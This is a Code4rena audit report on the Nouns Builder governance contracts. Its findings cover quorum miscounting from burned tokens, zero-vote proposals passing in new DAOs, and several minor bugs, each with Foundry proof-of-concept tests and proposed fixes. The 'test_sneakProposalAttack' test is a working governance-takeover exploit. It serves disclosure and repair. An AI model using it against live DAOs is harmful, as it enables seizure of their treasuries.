Nouns Builder contest - azephiar's results

Judge has assessed an item in Issue #424 as Medium risk. The relevant finding follows:

Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/governor/Governor.sol#L475 https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/governor/Governor.sol#L524

Vulnerability details

Because the following happens:

1. Burned tokens votes are effectively deleted in token._moveDelegateVotes() when called by token.burn()
2. When an auction gets settled without bidders the function burns the token by calling token.burn()
3. When _createAuction() is called an amount of tokens >= 1 is minted, of which 1 is kept in the auction contract
4. The functions governor.proposalThreshold() and governor.quorum() both depend on token.totalSupply() for their calculations.

We can derive that the protocol calculates the quorumVotes taking into account burned tokens and tokens held in the auction contract, which don't have any actual voting power. In other words the actual quorumThresholdBps is equal or higher than the setted quorumThresholdBps.

Impact

The worse case scenario that can happen is that the quorum gets so high that a proposal cannot pass even if everybody voted and everybody voted for, potentially locking funds into the contract.

We can define:

1. assumedVotingPower = token.totalSupply()
2. realVotingPower = token.totalSupply() - amountOfTokensBurned
3. ΔVotingPower = amountOfTokensBurned

This is the case if:

realVotingPower at proposal.voteEnd < quorum at proposal.timeCreated

which is the same as

realVotingPower < (assumedVotingPower * settings.quorumThresholdBps) / 10_000

and rearranging in terms of settings.quorumThresholdBps we have:

settings.quorumThresholdBps > 10_000 * realVotingPower/assumedVotingPower

Knowing that:

1. The possible range of values for 10_000 * realVotingPower/assumedVotingPower is from 1 to 10000. If realVotingPower = 0 this model doesn't make sense in the first place.

2. The possible range of values of settings.quorumThresholdBps is from 1 to 2^16 - 1. The protocol allows for settings.quorumThresholdBps to be 0, in which case it means that the actual quorum is 0; a context in which this model doesn't make sense. There's another catch that restricts this boundaries, if settings.quorumThresholdBps * token.totalSupply() < 10_000 the output of governance.quorum() would be 0.

Many combinations of values in the ranges described above render this disequation true, note, however, that this describes the workings in a mathematical settings and it doesnt hold true for every case in a real setting because of roundings and approximations.

We can intuitevely notice that when realVotingPower/assumedVotingPower is very low, which is the case of a DAO with few tokens burned, the chances of the disequation being true are slim and when it's high the chances of the disequation being true become higher. The opposite is true for settings.quorumThresholdBps.

This might lock funds in DAOs with a lot of unsold auctions who have a low settings.quorumThresholdBps.

At early stages this is mitigated by the fact that for every possible token burned some tokens are minted to the founders, but when the vest expires this mitigation is not in place anymore.

Proof of concept

I wrote a test that's expected to revert a proposal.queue() even if all possible votes available are cast in favor.

The test comes with two parameters to set: auctionsToRun and tokensToBidder. The test runs auctionsToRun auctions, of which the first tokensToBidder are bidded upon and the rest are not. Then:

1. Creates a proposal
2. Cast all possible votes in favor
3. Tries to queue a proposal
4. Reverts

The default parameters are set to auctionsToRun = 130 and tokensToBidder = 10. Also quorumThresholdBps = 1000. This test results in 121 tokens burned and 133 token minted. It's quite an unrealistic scenario, but it can get more real if quorumThresholdBps is setted lower. Keep in mind that this is the case in which everybody shows up to vote and averybody votes for.

Test code

The test can be pasted inside Gov.t.sol and then run with:

test -m test_RevertQueueProposalWithEverybodyInFavour

function test_RevertQueueProposalWithEverybodyInFavour() public {
    //Number of auctions to run
    uint256 auctionsToRun = 130;

    //Amount of tokens to bid up
    uint256 tokensToBidder = 10;

    address bidder1 = vm.addr(0xB1);
    vm.deal(founder, 10000 ether);
    vm.deal(bidder1, 10000 ether);

    //Start the first auction
    vm.prank(founder);
    auction.unpause();

    //Simulates an `auctionsToRun` amount of auctions in which the first `tokensForBidder` tokens
    //are minted and then every auction ends with no bidders.
    uint256 amountOfBurnedTokens;
    for (uint256 i = 1; i < auctionsToRun + 1; ++i) {
        if (i < tokensToBidder) {
            uint256 id = token.totalSupply() - 1;
            vm.prank(bidder1);
            auction.createBid{ value: 0.15 ether }(id);
        } else {
            amountOfBurnedTokens++;
        }

        vm.warp(block.timestamp + auction.duration() + 1);
        auction.settleCurrentAndCreateNewAuction();
    }

    uint256 founderVotes = token.getVotes(founder);
    uint256 founder2Votes = token.getVotes(founder2);
    uint256 bidder1Votes = token.getVotes(bidder1);
    uint256 auctionVotes = token.getVotes(address(auction));

    uint256 realVotingPower = founderVotes + founder2Votes + bidder1Votes;
    uint256 assumedVotingPower = token.totalSupply();

    assertEq(realVotingPower, assumedVotingPower - amountOfBurnedTokens - auctionVotes);

    //Create mock proposal
    (address[] memory targets, uint256[] memory values, bytes[] memory calldatas) = mockProposal();
    vm.prank(bidder1);
    bytes32 proposalId = governor.propose(targets, values, calldatas, "");

    emit log_string("Amount of tokens minted: ");
    emit log_uint(token.totalSupply());

    emit log_string("Amount of tokens burned:");
    emit log_uint(amountOfBurnedTokens);

    emit log_string("---------");

    emit log_string("The real quorumThresholdBps is: ");
    uint256 realquorumThresholdBps = (governor.getProposal(proposalId).quorumVotes * 10_000) / realVotingPower;
    emit log_uint(realquorumThresholdBps);

    emit log_string("The assumed quorumThresholdBps is:");
    uint256 assumedquorumThresholdBps = (governor.getProposal(proposalId).quorumVotes * 10_000) / token.totalSupply();
    emit log_uint(assumedquorumThresholdBps);

    emit log_string("---------");

    vm.warp(governor.getProposal(proposalId).voteStart);

    //Everybody cast a `for` vote
    vm.prank(founder);
    governor.castVote(proposalId, 1);

    vm.prank(founder2);
    governor.castVote(proposalId, 1);

    vm.prank(bidder1);
    governor.castVote(proposalId, 1);

    emit log_string("The amount of votes necessary for this proposal to pass is:");
    emit log_uint(governor.getProposal(proposalId).quorumVotes);

    emit log_string("The amount of for votes in the proposal:");
    emit log_uint(governor.getProposal(proposalId).forVotes);

    //Proposal still doesn't pass
    vm.warp((governor.getProposal(proposalId).voteEnd));
    vm.expectRevert(abi.encodeWithSignature("PROPOSAL_UNSUCCESSFUL()"));
    governor.queue(proposalId);
}

Tools Used

Forge

Recommended Mitigation Steps

Either one of this 2 options is viable:

1. Decrease token.totalSupply() whenever a token gets burned. This might not be expected behaviour from the point of view of external protocols.
2. Adjust the calculations in proposal.quorum() and governor.proposalThreshold() in such a way that they take into account the burned tokens and the tokens currently held by the auction contract.

Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/governor/Governor.sol#L441

Vulnerability details

It's possible to create a proposal for a DAO as soon as it's deployed and the proposal can pass even if nobody votes.

This possibility of doing so is based on the following assumptions:

1. The vetoer doesn't veto the proposal
2. proposal.quorumVotes is 0, which happens when token.totalSupply() * settings.quorumThresholdBps < 10_000
3. proposal.proposalThreshold is 0, which happens when token.totalSupply() * settings.proposalThresholdBps < 10_000

The amount of time necessary to create and execute a proposal of this kind is dictated by governor.settings.votingDelay + governor.settings.votingDelay + treasury.delay(), the lower the time the higher the risk.

Impact

A malicious actor could build an off-chain script that tracks DAODeployed events on the Manager.sol contract. Every time a new DAO is spawned the script submits a proposal. This attack is based on the fact that such at an early stage nobody might notice and the chances of this happening are made real because every new DAO can be targeted.

A potential proposal created by an attacker might look like this:

1. Call governor.updateVetoer(attacker)
2. Call governor.updateVotingDelay(0)
3. Call governor.updateVotingPeriod(0)
4. Call treasury.updateGracePeriod(0)
5. Call treasury.updateDelay(1 day)

With this setup the attacker can make a proposal and queue it immediately to then execute it after 1 day time; which gives him the time to veto any proposal that tries to interfere with the attack. At this point the attacker has sudo powers and if there's any bid he can take the funds.

This is just one possible attack path, but the point is making a proposal pass can give an attacker sudo powers and nobody might notice for a while.

Proof of Concept

Here's a test I wrote that proves the attack path outlined above, you can copy it into Gov.t.sol and execute it with forge test -m test_sneakProposalAttack:

 function test_sneakProposalAttack() public {
        address attacker = vm.addr(0x55);

        address[] memory targets = new address[](5);
        uint256[] memory values = new uint256[](5);
        bytes[] memory calldatas = new bytes[](5);

        // 1. Call `governor.updateVetoer(attacker)`
        targets[0] = address(governor);
        values[0] = 0;
        calldatas[0] = abi.encodeWithSignature("updateVetoer(address)", attacker);

        // 2. Call `governor.updateVotingDelay(0)`
        targets[1] = address(governor);
        values[1] = 0;
        calldatas[1] = abi.encodeWithSignature("updateVotingDelay(uint256)", 0);

        //3. Call `governor.updateVotingPeriod(0)`
        targets[2] = address(governor);
        values[2] = 0;
        calldatas[2] = abi.encodeWithSignature("updateVotingPeriod(uint256)", 0);

        //3. Call `treasury.updateGracePeriod(0)`
        targets[3] = address(treasury);
        values[3] = 0;
        calldatas[3] = abi.encodeWithSignature("updateGracePeriod(uint256)", 0);

        //4. Call `treasury.updateDelay(1 day)`
        targets[4] = address(treasury);
        values[4] = 0;
        calldatas[4] = abi.encodeWithSignature("updateDelay(uint256)", 60 * 60 * 24);

        //Attacker creates proposal as soon as contract is deployed
        bytes32 proposalId = governor.propose(targets, values, calldatas, "");

        //Wait for proposal.voteEnd
        vm.warp((governor.getProposal(proposalId).voteEnd));

        //Queue it
        governor.queue(proposalId);

        //Wait for treasury delay
        vm.warp(block.timestamp + treasury.delay());

        //Execute proposal
        governor.execute(targets, values, calldatas, keccak256(bytes("")));

        //Shows it's now possible for an attacker to queue a proposal immediately
        bytes32 proposalId2 = governor.propose(targets, values, calldatas, "mock");
        governor.queue(proposalId2);

        //And executed it after one day
        vm.warp(block.timestamp + 60 * 60 * 24);
        governor.execute(targets, values, calldatas, keccak256(bytes("mock")));
    }

Recommended Mitigation Steps

This potential attack path comes from a combination of factors, maninly:

1. A proposal can be created directly after deployment
2. The proposal.proposal.proposalThreshold and proposal.quorumVotes are set to 0 at such early stages
3. A proposal with 0 votes is allowed to pass

I would say that requiring at least 1 vote for a proposal to be considered Succeeded is rational and should mitigate this problem because that would require the attacker to bid on auction to get 1 voting power, increasing the cost and the time necessary for the attack.

At Governor.sol#L441 we have:

else if (proposal.forVotes < proposal.againstVotes || proposal.forVotes < proposal.quorumVotes) {
        return ProposalState.Defeated;
}

which can be changed to:

else if (proposal.forVotes == 0 || proposal.forVotes < proposal.againstVotes || proposal.forVotes < proposal.quorumVotes) {
        return ProposalState.Defeated;
}

Low risk & QA findings:

1. Potential out of gas caused by _addFounders and _createAuction()
2. __EIP712_init() is not initialized
3. Typo / Gas saving tip at Auction.sol#L172
4. Token approvals are deleted for tokens self-transfers
5. Reserved tokens IDS are calculated wrong

Potential out of gas caused by _addFounders and _createAuction()

The function _addFounders that's called on token initialization also reserves tokens for founders by filling tokenReserved[id] where id is a value between 0 and 99, which represents the ids of tokens reserved for founders.

If tokenReserved[id] is non empty for every possible id (0-99) then it's not possible to call _createAuction() because it would try to mint tokens for founders indefinitely, eventually running out of gas.

Impact

As far as I can tell this can only happen in the case described above, which implies setting the founders to have a total of 100% ownership. I don't see a reason why users could consciuosly decide to create a DAO with founders having 100% ownership but it's allowed by the protocol and could cause users to deploy a set of contracts which can potentially be expensive for nothing.

Proof of concept

The following test describe a possible scenario in which this bug occurs. Just copy it into Token.t.sol and run with: forge test -m test_CantCallUnpause

function test_CantCallUnpause() public {
    createUsers(2, 1 ether);

    address[] memory wallets = new address[](2);
    uint256[] memory percents = new uint256[](2);
    uint256[] memory vestExpirys = new uint256[](2);

    uint256 end = 4 weeks;

    wallets[0] = otherUsers[0];
    percents[0] = 50;

    wallets[1] = otherUsers[1];
    percents[1] = 50;

    unchecked {
        for (uint256 i; i < 2; ++i) {
            vestExpirys[i] = end;
        }
    }

    deployWithCustomFounders(wallets, percents, vestExpirys);

    vm.prank(wallets[0]);

    //Can't
    vm.expectRevert();
    auction.unpause();
}

Mitigation

Having the function _addFounders() to keep at least one slot empty in tokenReserved[id] would prevent it from trying to mint indefinitely. It's also worth taking in consideration that in the case there's 1 slot free _createAuction would still mint 100 (99 for founders plus 1 for the bidder) tokens, which might be a lot of gas.

__EIP712_init() is not initialized

Missing initialization: Token.sol#L43

Impact

DOMAIN_SEPARATOR(), which is used in token.delegateBySig() will always be computed as keccak256(abi.encode(bytes32(0), bytes32(0), bytes32(0), uint(0), address(token))).

I guess address(token), which is the address of the token proxy and it's different for every DAO saves the day here.

I think this has no serious implication but I'm not going to explore any further because even if there's no scenario in which this can be exoploited it should be fixed.

Typo / Gas saving tip

At Auction.sol#L172 we have:

if (auction.settled) revert AUCTION_SETTLED();

I think it was meant to be (_auction instead of auction):

if (_auction.settled) revert AUCTION_SETTLED();

Accessed from memory and consistent with the rest of the code.

Token approvals are deleted for tokens self-transfers

At ERC721.sol#L146, inside token.transferFrom() we have:

delete tokenApprovals[_tokenId];

In the case of a transfer from an address to itself the approvals gets deleted because there's no check on _from != _to, which is not expected behaviour. This is such an edge case that it might be worth living is as it is to save gas for users.

Reserved tokens IDS are calculated wrong

Reserved token ids are calculated in a weird way in token._addFounders() at this line of code at Token.sol#L113:

(baseTokenId += schedule) % 100

What this is actually doing is:

baseTokenId =  baseTokenId + (schedule % 100);

Impact

Due to a combination of this and schedule being calculated as:

uint256 schedule = 100 / founderPct;

which rounds down to 1 for founderPct >= 51 it causes the remaining founders to get less tokens.

Intuitevely what should happen is that baseTokenId might result in values higher than 99. This can happen if one founderPct is 2 because that sets schedule to 50.

Unfortunately I discovered this quite late in the contest and didn't have time to indagate further. What seems weird to me is that the code seems to work anyway for most the of the cases.

Changing:

(baseTokenId += schedule) % 100

to

baseTokenId = (baseTokenId + schedule) % 100

seems to fix the issue even for cases in which 1 founder has more than 51 ownershipPcts.